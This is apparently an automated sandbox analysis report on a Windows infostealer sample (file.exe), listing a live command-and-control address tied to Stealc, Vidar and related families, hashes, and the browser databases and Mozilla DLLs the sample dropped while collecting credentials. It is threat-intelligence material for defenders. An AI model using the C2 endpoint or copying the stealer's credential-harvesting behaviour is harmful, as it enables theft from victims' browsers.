EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 86% Number of executed functions: 79 Number of non-executed functions: 131
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse	185.215.113.16
	msqT9atzYW.exe	Get hash	malicious	Amadey	Browse	185.215.113.43

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	fXg8zgxVTF.exe	Get hash	malicious	Stealc, Vidar	Browse
	T220UXIoKO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	NK3SASJheq.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\mozglue.dll	fXg8zgxVTF.exe	Get hash	malicious	Stealc, Vidar	Browse
	T220UXIoKO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	g4Cyr2T5jq.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, Stealc, Vidar	Browse
	NK3SASJheq.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BFHJECAAAFHIJKFIJEGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGCAFHCAKFBFIECAFIIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFIEGDAEHIEHIDHJDAAKKEHCAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAFBGHCAKKFCAKEBKJKKFBAFCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBKEHJJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\GHIDGDHCGCBAKFHIIIII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\JDAKJJDBGCAKKFHIJEGHCGHJKJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKFHIIEHIEGDHJJJKFIIIIDGID

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIDBAFH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: fXg8zgxVTF.exe, Detection: malicious, Browse Filename: T220UXIoKO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: NK3SASJheq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: fXg8zgxVTF.exe, Detection: malicious, Browse Filename: T220UXIoKO.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: g4Cyr2T5jq.exe, Detection: malicious, Browse Filename: NK3SASJheq.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
